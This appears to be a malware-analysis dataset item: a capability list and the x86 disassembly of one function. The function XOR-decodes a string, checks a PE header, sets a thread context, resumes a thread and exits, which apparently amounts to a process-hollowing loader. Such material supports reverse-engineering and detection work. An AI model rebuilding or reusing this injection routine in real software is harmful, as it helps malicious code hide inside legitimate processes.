Function at 0x68959d70
Capabilities:
Encode data using xor
Get common file path
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea ebx, [ebp - 0x818]
sub esp, 0x8bc
mov edi, dword [ebp + 8]
mov eax, dword [edi + 0x3c]
add eax, edi
cmp byte [0x68a2d8d8], 0
mov dword [ebp - 0x89c], eax
je 0x68959dfb
mov dword [esp], ebx
lea edi, [ebp - 0x85c]
mov esi, str.l_PFZEXM
mov dword [esp + 4], 0x400
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push eax
push eax
lea eax, [ebp - 0x884]
mov dword [ebp - 0x88c], eax
mov dword [esp], ebx
call sub.msvcrt.dll_wcslen
mov dword [esp], ebx
lea ecx, [ebp - 0x88c]
lea eax, [ebx + eax*2]
mov dword [esp + 4], eax
call fcn.689f56a0
mov ecx, 0x31
push eax
push eax
rep movsb byte es:[edi], byte [esi]
lea esi, [ebp - 0x85c]
call sub.msvcrt.dll_rand
mov ecx, 0x30
jmp 0x68959e27
xor edi, edi
mov dword [esp + 8], 0x400
mov dword [esp + 4], ebx
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
sub esp, 0xc
cmp byte [0x68a2d8d8], 0
je 0x68959fbc
jmp 0x68959d99
mov eax, ecx
mov ebx, 0x3b
xor edx, edx
div ebx
xor byte [ebp + ecx - 0x88c], dl
inc ecx
cmp ecx, 0x60
jne 0x68959e27
mov dword [esp], esi
lea ecx, [ebp - 0x874]
call fcn.689f4b80
push esi
mov eax, dword [ebp - 0x874]
lea ecx, [ebp - 0x854]
mov edx, dword [ebp - 0x870]
mov dword [ebp - 0x85c], ecx
lea ecx, [ebp - 0x85c]
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.689f54e0
push ebx
push ebx
mov eax, dword [ebp - 0x85c]
mov ebx, dword [ebp - 0x888]
mov esi, dword [ebp - 0x858]
mov dword [ebp - 0x8a0], eax
mov eax, 0x3fffffff
sub eax, ebx
cmp eax, esi
jae 0x68959eab
mov dword [esp], 0x68a2e3ff
call fcn.68a1d2fc
lea ecx, [ebp - 0x88c]
lea edi, [esi + ebx]
call fcn.68970730
mov edx, eax
cmp eax, edi
jb 0x68959eea
test esi, esi
je 0x68959f71
mov dword [esp + 8], esi
mov eax, dword [ebp - 0x8a0]
add ebx, ebx
mov dword [esp + 4], eax
add ebx, dword [ebp - 0x88c]
mov dword [esp], ebx
call fcn.689f7090
jmp 0x68959f71
lea eax, [ebp - 0x890]
mov dword [ebp - 0x890], edi
call fcn.689f7e90
mov dword [ebp - 0x8a4], eax
test ebx, ebx
je 0x68959f21
mov dword [esp + 8], ebx
mov eax, dword [ebp - 0x88c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x8a4]
mov dword [esp], eax
call fcn.689f7090
cmp dword [ebp - 0x8a0], 0
je 0x68959f4e
test esi, esi
je 0x68959f4e
mov dword [esp + 8], esi
mov eax, dword [ebp - 0x8a0]
add ebx, ebx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x8a4]
add ebx, eax
mov dword [esp], ebx
call fcn.689f7090
lea ecx, [ebp - 0x88c]
call fcn.689f51a0
mov eax, dword [ebp - 0x8a4]
mov dword [ebp - 0x88c], eax
mov eax, dword [ebp - 0x890]
mov dword [ebp - 0x884], eax
mov eax, dword [ebp - 0x88c]
mov dword [ebp - 0x888], edi
lea ecx, [ebp - 0x85c]
mov word [eax + edi*2], 0
call fcn.689f51a0
mov eax, dword [ebp - 0x88c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x818]
mov dword [esp], eax
call fcn.6895a654
lea ecx, [ebp - 0x874]
call fcn.689f0d30
lea ecx, [ebp - 0x88c]
call fcn.689f51a0
mov eax, dword [ebp - 0x89c]
cmp dword [eax], 0x4550
jne 0x6895a0ec
lea edx, [ebp - 0x85c]
lea ebx, [ebp - 0x874]
mov dword [esp + 4], edx
mov dword [esp], ebx
call fcn.689599e8
lea eax, [ebp - 0x818]
mov dword [esp + 8], edx
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.68959cb0
test al, al
je 0x6895a0ec
call fcn.68959b10
xor ecx, ecx
mov dword [eax], 0x10007
mov edi, eax
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.68959904
mov eax, dword [ebp - 0x89c]
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.68959b40
mov esi, eax
test eax, eax
jne 0x6895a05f
mov eax, dword [ebp - 0x870]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push eax
push eax
xor eax, eax
mov dword [0xc], eax
pop eax
xor edx, edx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x89c]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.68959b7c
mov dword [esp + 0x10], esi
mov eax, dword [ebp - 0x89c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], eax
call fcn.68959be0
mov dword [esp + 0xc], esi
mov eax, dword [ebp - 0x89c]
mov dword [esp + 4], edi
mov dword [esp + 8], eax
mov dword [esp], ebx
call fcn.6895995c
jmp 0x6895a0ec
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret